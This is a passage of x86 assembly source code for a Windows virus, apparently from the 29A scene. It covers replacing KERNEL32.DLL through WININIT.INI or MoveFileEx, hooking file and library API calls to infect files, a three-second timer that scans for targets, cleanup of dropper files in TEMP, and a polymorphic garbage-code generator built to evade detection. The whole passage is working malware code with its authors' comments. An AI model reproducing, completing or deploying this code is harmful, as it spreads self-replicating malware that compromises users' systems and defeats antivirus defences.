push [ebp+__ik_window]
call [ebp+ddlstrlen]
xchg edi,eax
inc edi
push filename_size
push [ebp+__ik_window]
add [esp],edi
call [ebp+ddGetWindowsDirectoryA]
lea eax,[ebp+__ik_wininit] ;wininit file name
push eax
push [ebp+__ik_window]
add [esp],edi
call [ebp+ddlstrcat] ;window_dir + wininit
; create WININIT.INI file and update one !
push [ebp+__ik_window]
add [esp],edi
push [ebp+__ik_system] ;existing KERNEL32.DLL
lea eax,[ebp+__ik_nul]
push eax
lea eax,[ebp+__ik_rename]
push eax
call [ebp+ddWritePrivatePFStringA]
; build the rename INI instruction
push [ebp+__ik_window] ;wininit path
add [esp],edi
push [ebp+__ik_window] ;infected/old k32
push [ebp+__ik_system] ;new k32 path
lea eax,[ebp+__ik_rename] ;rename section
push eax
call [ebp+ddWritePrivatePFStringA]
jmp __ik_fault
__ik_nt2k:
push 00000005h ;after reboot, replace
push [ebp+__ik_system] ;new k32 path
push [ebp+__ik_window] ;old k32 path
call [ebp+ddMoveFileExA]
__ik_fault:
mov eax,[ebp+__ik_window]
call mdealloc
mov eax,[ebp+__ik_system]
call mdealloc
mov [ebp+it_is_kernel],00h
ret
;ÄÄÄ´ hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
myCreateFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myCreateFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myOpenFile: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
my_lopen: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myCopyFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myCopyFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myMoveFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myMoveFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myMoveFileExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myMoveFileExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myLoadLibraryW db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myLoadLibraryA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myLoadLibraryExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
myLoadLibraryExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
myFreeLibrary: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
EndOfNewFunctions equ this byte
;ÄÄÄ´ common hooked functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function is runned from kernel32 file, first time do
; * clear some valuez, bufferz
; * delete files in \TEMP\ (droppers)
; * create "already resident" flag (mutex)
; * inicialize "Hyper Infection" (SetTimer)
; * create a crypto thread
; * get actual process ID
;Then if I'll catch "FreeLibrary" function, I'll do:
; * call "crypto_get_library" (more info there)
;And If I'll catch "LoadLibrary, CreateFile, ..." function
; * is it a DLL file
; * call "crypto_thread" by CT_DECRYPTFILE flag
;
;We might say this function is the most important in virus
;many problems were here.
;
hookInfectFile:
; prepare for UniCode functions
test al,0F9h ;hidden STC instruction
IFDEF DEBUG ;my SoftICE breakpoint
int 4 ;many battles were here
ENDIF
pusha ;save all registers
pushf ;save all flags
pushf
call get_base_ebp ;get delta offset
popf
jnc __hif_no_stop ;ansi version
call unicode2ansi
jz __hif_finish ;no bytes converted ?
jmp __hif_continue
; test whether "Prizzy Hyper Infection" has been actived...
__hif_no_stop:
cmp dword ptr [ebp+HyperInfection_k32],00000000h
jnz __hif_continue
call clear_valuez ;clear archive structures
call clear_temp_droppers ;delete temp file trom \TEMP\
call create_mutex ;already resident
call hookHyperInfection ;inicialize "HyperInfection"
lea eax,[ebp+crypt_thread] ;create common crypt thread
mov ebx,ebp ;...and its parameter
call __MyCreateThread
mov [ebp+crypto_mainThread],eax
call [ebp+ddGetCurrentProcessId] ;get process ID number
mov [ebp+crypto_mainProcId],eax
mov [ebp+crypto_thread],CT_LOADKEY ;load cryptography
mov [ebp+crypto_thread_err],'!A92' ;key and wait then
__hif_crLoadKey:
push 50 ;active thread to load crypto
push [ebp+crypto_mainThread] ;key
call [ebp+ddWaitForSingleObject]
cmp [ebp+crypto_thread_err],'!A92'
jz __hif_crLoadKey
; which type of function is called ?
__hif_continue:
lea eax,[ebp+myCreateFileW] ;start of table
sub eax,[esp+00000024h] ;return address
neg eax
sub eax,00000005h ; - call instruction
mov ebx,(offset myCreateFileA - offset myCreateFileW)
cdq
div ebx ;get number of function
cmp ax,000Eh ;FreeLibrary ?
jz crypt_get_library
; get filename length
__hif_get_flen:
mov esi,[esp+0000002Ch] ;get file name
push esi
call [ebp+ddlstrlen] ;not including null terminator
or eax,eax ;zero length
jz __hif_finish
inc eax ; + zero char
; copy filename to the buffer
lea edi,[ebp+filename] ;destination buffer
mov [ebp+filename_ptr],edi
mov ecx,eax ;filename length
rep movsb
; upcase characters
push eax ;number of characters
push [ebp+filename_ptr] ;filename
call [ebp+ddCharUpperBuffA] ;convert to uppercase
; CreateFile, OpenFile, CopyFile, MoveFile, ...
lea esi,[ebp+filename] ;find the end of filename
mov [ebp+filename_ptr],esi
@endsz ;ehm :)
; use crypto thread to decrypt file
cmp [esi-5],'LLD.' ;DLL file ?
jnz __hif_finish ;or not ?
cmp [ebp+crypto_thread_err],'!A92'
jz __hif_finish ;other process ?
mov [ebp+crypto_thread],CT_DECRYPTFILE
mov [ebp+crypto_thread_err],'!A92'
push [ebp+crypto_mainProcId] ;active the process where I
push 00000000h ;created my thread, I can't
push 00000001h ;call thread for other pro-
call [ebp+ddOpenProcess] ;cess, so I have to active
push eax ;its and then go back, mul-
__hif_cDecryptFile: ;titasking world !!!
push 50
push dword ptr [esp+00000004h]
call [ebp+ddWaitForSingleObject]
cmp [ebp+crypto_thread_err],'!A92'
jz __hif_cDecryptFile ;crypto thread must decrypt
call [ebp+ddCloseHandle] ;in stack is its handle
__hif_finish:
popf
popa
ret
;ÄÄÄ´ start HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;Before then I will start I must load "USER32", "ADVAPI32"
;libraries and re-write all my function offsets. I do NOT
;exactly know whether it must be but when I'll load these
;libraries sometimes later I should get other offset then
;after 1st running. Next, I must install timer on "Hyper
;Infection" function.
;
hookHyperInfection:
; load "USER32.DLL" library
lea eax,[ebp+user32_name] ;library name
call [ebp+ddLoadLibraryA], eax
or eax,eax ;failed ?
jz __hhi_finish
mov ebx,eax
; load "ADVAPI32.DLL" library
lea eax,[ebp+advapi32_name] ;library name
call [ebp+ddLoadLibraryA], eax
or eax,eax ;failed ?
jz __hhi_finish
; decrease/increase function bases
cmp dword ptr [ebp+crypto_Action],00000000h
jz __hhi_no_cryptography
sub eax,[ebp+advapi_base] ;new memory position
mov ecx,(HookedAddresses_user32 - \
HookedAddresses_advapi32) / 4
lea esi,[ebp+HookedAddresses_advapi32]
__hhi_modify_advapi32:
add [esi],eax
loop __hhi_modify_advapi32
__hhi_no_cryptography:
sub ebx,[ebp+user32_base] ;new memory position
mov ecx,(FunctionNames - HookedAddresses_user32) / 4
__hhi_modify_user32:
add [esi],ebx
loop __hhi_modify_user32
; set timer to the Prizzy Hyper Infection for API, "PHI-API"
lea eax,[ebp+init_search] ;main function
push eax
push 3000 ;every 3 seconds :)
push 00000000h ;timer identifier
push 00000000h ;hwnd
call [ebp+ddSetTimer]
or eax,eax
jz __hhi_finish
mov [ebp+HyperInfection_timerID],eax
mov byte ptr [ebp+search_start],00h ;PHI didnt begin
__hhi_finish:
mov dword ptr [ebp+HyperInfection_k32],00000001h
ret
;ÄÄÄ´ finish HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
hookHyperInfection_Done:
; remove timer
push dword ptr [ebp+HyperInfection_timerID]
call [ebp+ddKillTimer]
ret
;ÄÄÄ´ common standard functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;After every start of windows I compress some programs to
;TEMP directory (usually four new achives). And every win-
;dows run I have to delete them.
;
__ctd_memory dd 00000000h ;place in memory
__ctd_fmask db '29A*.TMP',0 ;file mask
__ctd_fmask_len equ this byte - __ctd_fmask
;
clear_temp_droppers:
; allocate moemory for TEMP directory
mov eax,filename_size
call malloc
mov [ebp+__ctd_memory],eax
; get two TEMP directory
push eax ;outta buffer
push filename_size
call [ebp+ddGetTempPathA]
or eax,eax ;give me filepath length
jz __ctd_dealloc
; copy filemask in the end of filename
lea esi,[ebp+__ctd_fmask] ;file mask
mov edi,[ebp+__ctd_memory] ;outta buffer
add edi,eax ; + length of dir name
mov ecx,__ctd_fmask_len ;length of file mask
rep movsb ;copy me, my lord :) !
; search them
mov ebx,eax
lea esi,[ebp+dta] ;i can use "infect_file" dta
mov edx,[ebp+__ctd_memory] ;temp directory + file mask
call __MyFindFirst
jc __ctd_dealloc
; delete file
__ctd_next_file:
push eax ;find handle
lea esi,[ebp+dta.dta_filename]
mov edi,[ebp+__ctd_memory]
add edi,ebx ; + length of dir name
@copysz ;ahhh, JQwerty's macro :)
push [ebp+__ctd_memory] ;filename
call [ebp+ddDeleteFileA]
; search next file
pop eax ;find handle
lea esi,[ebp+dta] ;dta
call __MyFindNext
jnc __ctd_next_file
; close find handle
call __MyFindClose ;find next file !
__ctd_dealloc:
mov eax,[ebp+__ctd_memory]
call mdealloc
__ctd_failed:
ret
;---------------------------------------------------------
;Clear all archive structures, all droppers, all programs.
;
clear_valuez:
xor eax,eax
lea edi,[ebp+NewArchive]
mov ecx,NewArchiveNum * (NewArchiveSize / 4)
rep stosd
; set libraries memory, info
mov dword ptr [ebp+file_infected],00000000h
mov eax,100 * 4
call malloc
mov [ebp+crypto_library],eax
mov dword ptr [ebp+crypto_nLib],00000000h
; clear HyperTable
lea esi,[ebp+HyperTable]
__cv_repeat:
lodsb ;name or extension or end ?
cmp al,0FFh
jz __cv_finish
call [ebp+ddlstrlen], esi ;get filename
inc eax ;zero char
add esi,eax
mov byte ptr [esi],00h ;search flag !
add esi,HyperTable_HalfSize
jmp __cv_repeat
__cv_finish:
ret
;---------------------------------------------------------
;Convert Unicode filename to Ansi version.
;
unicode2ansi:
lea eax,[esp+00000034h] ;UniCode filename
lea ebx,[ebp+filename]
push 00000000h ;don't tell me about problem
push 00000000h ;ignore unmappable characters
push MAX_PATH ;how many bytes to allocate
push ebx ;destination buffer
push -1 ;calculate strlen(string)+1
push eax ;filename in unicode
push 00000000h ;no composite characters
push CP_ACP
call [ebp+ddWideCharToMultiByte]
or eax,eax
ret
;---------------------------------------------------------
;Create mutex or get "already resident" flag.
;
; output: (C)arry flag
;
create_mutex:
pusha
lea eax,[ebp+crypto_mutex] ;mutex name
push eax
push 00000001h ;owner
push 00000000h ;mutex attributes
call [ebp+ddCreateMutexA]
push eax
call [ebp+ddGetLastError] ;already resident ?
mov ebx,eax
or ebx,ebx
jz __cm_finish
call [ebp+ddReleaseMutex]
push eax
__cm_finish:
pop eax
mov [esp].access_eax,ebx
or ebx,ebx ;already resident ?
jnz __cm_failed
test al,0F9h ;hidden STC instruction
__cm_failed equ $-1
popa
ret
;ÄÄÄ´ getting address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;Get delta offset to EBP. The second SUB instruction sub-
;tract "virus_start". So then I can only use:
; * LEA EAX,[EBP+pe_header]
;instead
; * LEA EAX,[EBP+pe_header - virus_start]
;
get_base_ebp: ;get address where we're
call $+5
pop ebp
sub ebp,$-1-virus_start
sub ebp,offset virus_start
ret
;ÄÄÄ´ Prizzy Polymorphic Engine II (PPE-II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function generate polymorphic engine with:
; * brute-attack algorithm
; * random multi-layer engine
;Please find "ppe_*" functions to know more, thanks.
;
;
__ppe_st_flags dw ? ;input of tbl_encode_loop
__ppe_st_items db ? ;items in table
__ppe_st_o_table dd ? ;offset to the table (part)
;
ppe_startup:
; save all registers
pusha
; clear tables of (base-register / garbages / JNZ ... )
mov byte ptr [ebp+used_regs ],00h
mov byte ptr [ebp+recursive_level],00h
mov byte ptr [ebp+compare_index ],00h
mov byte ptr [ebp+gl_index_reg ],-1
mov dword ptr [ebp+__pllg_memory ],00000000h
; set style of garbages (based+flags)
mov byte ptr [ebp+garbage_style ],not USED_FLAGS
; copy virus body to the allocated memory
lea esi,[ebp+virus_start]
mov edi,[ebp+mem_address]
mov ecx,file_size
rep movsb
; clear two SoftICE final breakpoints
mov eax,[ebp+mem_address]
mov word ptr [eax+__final_SoftICE_1-virus_start],9090h
mov word ptr [eax+__final_SoftICE_2-virus_start],9090h
; load address of the start of poly-decoder
mov edi,[ebp+poly_start]
; clear table
xor ebx,ebx
mov ecx,00000005h
lea esi,[ebp+tbl_encode_loop]
__ppes_clear_table:
lodsw
__ppes_clear_item:
mov dword ptr [esi],ebx
add esi,00000008h
dec al
jnz __ppes_clear_item
dec ecx
jnz __ppes_clear_table
; get global_index_reg
call ppe_get_empty_reg
call __reg_to_bcd
mov [ebp+gl_index_reg2],al
or [ebp+used_regs],ah
; get index_reg --> (xor,sub...) [index_reg], reg32
__ppes_new_ireg:
call ppe_get_empty_reg
cmp al,00000101b ;EBP isn't supported
jz __ppes_new_ireg
call __reg_to_bcd
mov [ebp+index_reg],al
or [ebp+used_regs],ah
; get code reg --> (xor,sub...) [---], code_reg
__ppes_new_creg:
call ppe_get_empty_reg
test al,00000100b ;only 8 bits reg
jnz __ppes_new_creg
call __reg_to_bcd
mov [ebp+code_reg],al
or [ebp+used_regs],ah
; get mlayer pointer --> mov reg8, [gl_index_reg+mpointer]
__ppes_new_lreg:
call ppe_get_empty_reg
cmp al,00000101b ;EBP isn't supported
jz __ppes_new_lreg
mov [ebp+mlayer_reg],al
; generate initial code value
call ppe_get_rnd32
mov [ebp+code_value],eax
call ppe_get_rnd32
mov [ebp+code_value_add],eax
; select style (add/sub/xor)
mov eax,00000003h
call ppe_get_rnd_range
mov [ebp+crypt_style],al
; clear used registers (this isn't right time)
mov byte ptr [ebp+used_regs],00h
; choose subroutine
xor ebx,ebx
mov ecx,00000005h
lea esi,[ebp+tbl_encode_loop]
__ppes_choose:
lodsw ;AH=random?, AL=items
mov [ebp+__ppe_st_flags ],ax
mov [ebp+__ppe_st_items ],al
mov [ebp+__ppe_st_o_table],esi
or ah,ah ;random ? JZ if not
jnz __ppes_crun
__ppes_cnext:
mov esi,[ebp+__ppe_st_o_table]
movzx eax,byte ptr [ebp+__ppe_st_items]
call ppe_get_rnd_range
push eax
imul eax,00000008h
cmp dword ptr [esi+eax],00000000h
pop eax
jnz __ppes_cnext
imul eax,00000008h
add esi,eax
__ppes_crun:
lodsd ;already generated byte...
lodsd
add eax,ebp
call eax
mov dword ptr [esi-8],1 ;already generated flag
dec byte ptr [ebp+__ppe_st_flags]
jz __ppes_ccmp
cmp byte ptr [ebp+__ppe_st_flags+01h],00h
jz __ppes_cnext
jmp __ppes_crun
__ppes_ccmp:
mov esi,[ebp+__ppe_st_o_table]
movzx eax,byte ptr [ebp+__ppe_st_items]
imul eax,00000008h
add esi,eax
dec ecx
jnz __ppes_choose
; finishing (PPE-II)...
mov eax,edi
sub eax,[ebp+mem_address]
mov [ebp+poly_finish],eax
popa
ret
;ÄÄÄ´ polymorphic garbages PPE-II ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄ´ generate some garbages code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This main function generates garbages from my great table
;Function can be recursived but it cannot generate copro
;garbages yet. You can set (garbage_style) if you want to
;generate unmodify flags instructions.
;
gen_garbage:
inc byte ptr [ebp+recursive_level]
cmp byte ptr [ebp+recursive_level],04h
jae __gg_exit
; are registers full ?
cmp byte ptr [ebp+used_regs],0EFh
jz __gg_exit
pusha
mov eax,00000004h
call ppe_get_rnd_range
inc eax
mov ecx,eax
__gg_loop:
push ecx
; have I use unmodify flags instructions ?
cmp byte ptr [ebp+garbage_style],USED_FLAGS
jnz __ggl_flags
mov eax,(end_no_flags - tbl_no_flags) / 02h
call ppe_get_rnd_range
lea esi,[ebp+tbl_no_flags+eax*02h]
lodsb
call ppe_get_rnd_range
add al,[esi]
call __gg_test
jc __gg_finish
lea esi,[ebp+tbl_garbage+04h*eax]
mov eax,[esi]
jmp __gg_jump
__ggl_flags:
mov eax,(end_garbage - tbl_garbage) / 04h
call ppe_get_rnd_range
call __gg_test
jc __gg_finish
lea esi,[ebp+tbl_garbage+eax*04h]
lodsd
__gg_jump:
add eax,ebp
call eax
__gg_finish:
pop ecx
loop __gg_loop
mov [esp],edi
popa
__gg_exit:
dec byte ptr [ebp+recursive_level]
ret
__gg_test:
clc
push eax
test byte ptr [ebp+garbage_style],not USED_BASED
jnz __ggt_success
cmp eax,__garbage_based_num
jb __ggt_success
__ggt_failed:
stc
__ggt_success:
pop eax
ret
; gnerate garbage which will not modify flags (mov,stack...)
gen_garbage_no_flags:
push ax
mov al,[ebp+garbage_style]
mov byte ptr [ebp+garbage_style],USED_FLAGS
call gen_garbage
mov byte ptr [ebp+garbage_style],al
pop ax
ret
;ÄÄÄ´ generate mov reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_movreg32imm: call ppe_get_empty_reg ;mov empty_reg32,imm
mov al,0b8h
or al,byte ptr [ebx]
stosb
call ppe_get_rnd32
stosd
ret
g_movreg16imm: call ppe_get_empty_reg ;mov empty_reg16,imm
mov ax,0B866h
or ah,byte ptr [ebx]
stosw
call ppe_get_rnd32
stosw
ret
g_movreg8imm: call ppe_get_empty_reg ;mov empty_reg8,imm
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call ppe_get_rnd32
mov al,0B0h
or al,byte ptr [ebx]
mov edx,eax
call ppe_get_rnd32
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret
;ÄÄÄ´ generate mov reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_movregreg32: call ppe_get_reg ;mov empty_reg32,reg32
push ebx
call ppe_get_empty_reg
pop edx
cmp ebx,edx
jz g_movregreg32 ;mov ecx,ecx ? etc. ?
c_movregreg32: mov ah,byte ptr [ebx]
shl ah,3
or ah,byte ptr [edx]
or ah,0C0h
mov al,8Bh
stosw
ret
g_movregreg16: call ppe_get_reg ;mov empty_reg16,reg16
push ebx
call ppe_get_empty_reg
pop edx
cmp ebx,edx
jz g_movregreg16 ;mov si,si ? etc. ?
mov al,66h
stosb
jmp c_movregreg32
g_movregreg8: call ppe_get_reg ;mov empty_reg8,reg8
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz g_movregreg8
push ebx
call ppe_get_empty_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
jz g_movregreg8 ;mov al,al ? etc. ?
mov ah,byte ptr [ebx]
shl ah,3
or ah,byte ptr [edx]
or ah,0C0h
mov al,8Ah
push eax
call ppe_get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret
;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_mathreg32imm: mov al,81h ;math reg32,imm
stosb
call ppe_get_empty_reg
call __do_math_work
stosd
ret
g_mathreg16imm: mov ax,8166h ;math reg16,imm
stosw
call ppe_get_empty_reg
call __do_math_work
stosw
ret
g_mathreg8imm: call ppe_get_empty_reg ;math reg8,imm
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_mathreg8imm
mov al,80h
stosb
call __do_math_work
stosb
and ah,04h
or byte ptr [edi-2],ah
a_mathreg8imm: ret
__do_math_work: ;select math operation
mov eax,end_math_imm - tbl_math_imm
call ppe_get_rnd_range
lea esi,dword ptr [ebp+tbl_math_imm+eax]
lodsb
or al,byte ptr [ebx]
stosb
call ppe_get_rnd32
ret
;ÄÄÄ´ generate push reg + garbage + pop reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_push_g_pop: call ppe_get_reg ; push rnd_reg
mov al,50h ; --garbage--
or al,byte ptr [ebx] ; --garbage--
stosb ; pop empty_reg
call gen_garbage
call ppe_get_empty_reg
mov al,58h
or al,byte ptr [ebx]
stosb
ret
;ÄÄÄ´ generate call without return ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_call_cont: mov al,0E8h ; call __here
stosb ; --rnd data--
push edi ; --rnd data--
stosd ;__here:
call ppe_gen_rnd_block ; pop empty_reg
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov [edx],eax
call gen_garbage_no_flags
call ppe_get_empty_reg
mov al,58h
or al,byte ptr [ebx]
stosb
ret
;ÄÄÄ´ generate unconditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_jump_u: mov al,0E9h ; jmp __here
stosb ; --rnd data--
push edi ; --rnd data--
stosd ;__here:
call ppe_gen_rnd_block ; --next code--
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
;ÄÄÄ´ generate conditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_jump_c: call ppe_get_rnd32 ; jX __here
and ah,0Fh ; --garbage--
add ah,80h ; --garbage--
mov al,0Fh ;__here:
stosw ; --next code--
push edi
stosd
call gen_garbage_no_flags
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
;ÄÄÄ´ generate movzx,movsx reg32/16,reg16/8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_movzx_movsx_32: ;movzx/movsx reg32,reg16
call ppe_get_rnd32
mov ah,0B7h
and al,1
jz __d_movzx32
mov ah,0BFh
__d_movzx32:
mov al,0Fh
stosw
call ppe_get_reg
push ebx
call ppe_get_empty_reg
pop edx
mov al,byte ptr [ebx]
shl al,3
or al,0C0h
or al,byte ptr [edx]
stosb
ret
g_movzx_movsx_16: ;movzx/movsx reg16,reg8
mov al,66h
stosb
g_movzx_movsx_8: ;movzx/movsx reg32,reg8
call ppe_get_rnd32
mov ah,0B6h
and al,1
jz __d_movzx32
mov ah,0BEh
jmp __d_movzx32
;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_rotate_shift32: ;(r/s) reg32,imm8
mov al,0C1h
stosb
call ppe_get_empty_reg
call __do_rs_work
stosb
ret
g_rotate_shift16: ;(r/s) reg16,imm8
mov al,66h
stosb
jmp g_rotate_shift32
g_rotate_shift8:
call ppe_get_empty_reg ;(r/s) reg8,imm8
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_rotate_shift8
mov al,0C0h
stosb
call __do_rs_work
stosb
and ah,04h
or byte ptr [edi-2],ah
a_rotate_shift8:ret
__do_rs_work: ;select r/s operation
mov eax,end_rs_imm - tbl_rs_imm
call ppe_get_rnd_range
lea esi,dword ptr [ebp+tbl_rs_imm+eax]
lodsb
or al,byte ptr [ebx]
stosb
call ppe_get_rnd32
ret
;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,reg8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_rs_reg32reg8: ;(r/s) reg32,reg8
mov al,0D3h
stosb ;in fact, reg8 is always CL
call ppe_get_empty_reg ;because CPU allows only
call __do_rs_work ;this reg8
ret
g_rs_reg16reg8: ;(r/s) reg16,reg8 (CL)
mov al,66h
stosb
jmp g_rs_reg32reg8
g_rs_reg8reg8: ;(r/s) reg8,reg8 (CL)
call ppe_get_empty_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_rs_reg8reg8
mov ax,0D266h
stosw
call __do_rs_work
and ah,04h
or byte ptr [edi-1],ah
a_rs_reg8reg8: ret
;ÄÄÄ´ generate bt/bts/btr/btc reg32/16,(reg/imm)32/16 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_bt_regreg32: mov al,0Fh
stosb
call __do_bt_work
ret
g_bt_regreg16: mov ax,0F66h
stosw
call __do_bt_work
ret
__do_bt_work:
mov eax,end_bt_reg - tbl_bt_reg
call ppe_get_rnd_range
lea esi,[ebp+tbl_bt_reg+eax]
lodsb
stosb
call ppe_get_empty_reg
push ebx
call ppe_get_reg
pop edx
mov al,byte ptr [ebx]
shl al,3
or al,0C0h
or al,byte ptr [edx]
stosb
ret
g_bit_test32: mov ax,0BA0Fh
stosw
call __do_bit_test_work
ret
g_bit_test16: mov al,66h
stosb
jmp g_bit_test32
__do_bit_test_work:
mov eax,end_bt_imm - tbl_bt_imm
call ppe_get_rnd_range
lea esi,[ebp+tbl_bt_imm+eax]
call ppe_get_empty_reg
lodsb
or al,byte ptr [ebx]
stosb
call ppe_get_rnd32
stosb
ret
;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_mathregreg32: ;math reg32,reg32
call __do_math_regreg_work
ret
g_mathregreg16: ;math reg16,reg16
mov al,66h
stosb
jmp g_mathregreg32
g_mathregreg8: ;math reg8,reg8
call ppe_get_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz g_mathregreg8
push ebx
call ppe_get_empty_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_mathregreg8
mov eax,end_math_reg - tbl_math_reg
call ppe_get_rnd_range
lea esi,[ebp+tbl_math_reg+eax]
lodsb
dec al
stosb
mov al,byte ptr [ebx]
shl al,3
or al,byte ptr [edx]
or al,0C0h
stosb
call ppe_get_rnd32
and al,24h
or byte ptr [edi-1],al
a_mathregreg8: ret
__do_math_regreg_work:
mov eax,end_math_reg - tbl_math_reg
call ppe_get_rnd_range
lea esi,[ebp+tbl_math_reg+eax]
lodsb
stosb
call ppe_get_reg
push ebx
call ppe_get_empty_reg
pop edx
mov al,byte ptr [ebx]
shl al,3
or al,0C0h
or al,byte ptr [edx]
stosb
ret
;ÄÄÄ´ set reg8 by flag ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_set_byte: call ppe_get_empty_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_set_byte
mov al,0Fh
stosb
mov eax,00000010h ;we have 16 opcodes, haha..
call ppe_get_rnd_range
or al,90h ;seta , setae, setb , setbe
stosb ;sete , setg , setge, setl
mov al,byte ptr [ebx] ;setle, setne, setno, setnp
or al,0C0h ;setns, seto , setp , sets
stosb
call ppe_get_rnd32
and al,04h
or byte ptr [edi-1],al
a_set_byte: ret
;ÄÄÄ´ generate garbage + loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
g_loop:
; we can't be recursived because ECX is only for one LOOP
cmp byte ptr [ebp+recursive_level],01h
jnz a_loop
; does ECX free ?
test byte ptr [ebp+used_regs],00000010b
jnz a_loop
; generate ECX like counter
mov eax,00000030h ;future ECX to loop
call ppe_get_rnd_range
add eax,2
mov bl,00000001b ;write to ECX
call ppe_crypt_value
; we don't want to change ECX
or byte ptr [ebp+used_regs],00000010b
push edi ;total garbages in bytes
call gen_garbage ;to calculate loop
pop eax
sub eax,edi
sub eax,2 ;loop has two bytes
